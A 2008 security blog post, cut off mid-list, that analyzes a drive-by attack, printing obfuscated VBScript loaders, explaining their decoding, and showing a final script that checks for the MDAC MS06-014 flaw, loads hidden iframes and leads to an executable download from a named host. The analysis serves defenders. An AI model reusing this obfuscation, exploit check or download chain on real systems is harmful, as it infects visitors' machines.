blog
September 2, 2008
What is VBScript used for? For web attacks, of course!
For example, flyzhu.9966.org, a domain used in the recent SQL injection
campaigns (and, surprisingly, still active), offers some nice examples of
malicious VBScript code. To run these samples, you can use
Cscript under Windows. To
dump interesting values to the console, just use the WScript.Echo function.
On flyzhu.9966.org, the first step of the attack is performed by following script:
<script language="VBScript">
Cn911="83,61,34,51,67,53,...,84,69,32,68"
Function Rechange(Q)
S=Split(Q,",")
Cn922=""
For i = 0 To UBound(S)
Cn922=Cn922&Chr(eval(S(i)))
Next
Rechange=Cn922
End Function
EXECUTE(Rechange(Cn911))
</script>
The actual content, in the Cn911 variable, is obfuscated by
substituting each character with its ASCII encoding. Once decoded, one
obtains another obfuscated script:
S="3C5363726970...6970743E"
D="Document.Write """""
C="&CHR(&H"
N=")"
DO WHILE LEN(S)>1
IF ISNUMERIC(LEFT(S,1)) THEN
D=D&C&LEFT(S,2)&N
S=MID(S,3)
ELSE
D=D&C&LEFT(S,4)&N
S=MID(S,5)
LOOP
EXECUTE D
The ASCII encoding trick is used again to obfuscate the actual content.
The loop essentially reads two characters at a time from S, interprets
them as a hex number, and substitutes the corresponding character in the
ASCII encoding. The result is yet another obfuscated script:
Document.Write &CHR(&H3C)&CHR(&H53)...&CHR(&H70)&CHR(&H74)&CHR(&H3E)
The third round uses, again, ASCII encoding. Once deobfuscated, one obtains:
<Script Language=VBScript>
On Error Resume Next
Set Ob = Document.CreateElement("object")
Ob.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set Pop = Ob.Createobject("Adodb.Stream","")
If Not Err.Number = 0 then
Err.clear
Document.write ("<embed src=flash.swf></embed>")
Document.write ("<iFrame sRc=real.htm width=0 height=0></ifrAmE>")
Document.write ("<iFrame sRc=new.htm width=0 height=0></ifrAmE>")
Else
Document.write ("<iFrame sRc=help.htm width=0 height=0></ifrAmE>")
End If
</Script>
This script checks if the browser is vulnerable to the MDAC remote code execution exploit (MS06-014), and, depending on the result, loads different files. In all cases, these files attempt to exploit various vulnerabilities to download and execute a binary from http://www.tlcn.net/cert/fuckkr.exe.
In particular, the loaded files are: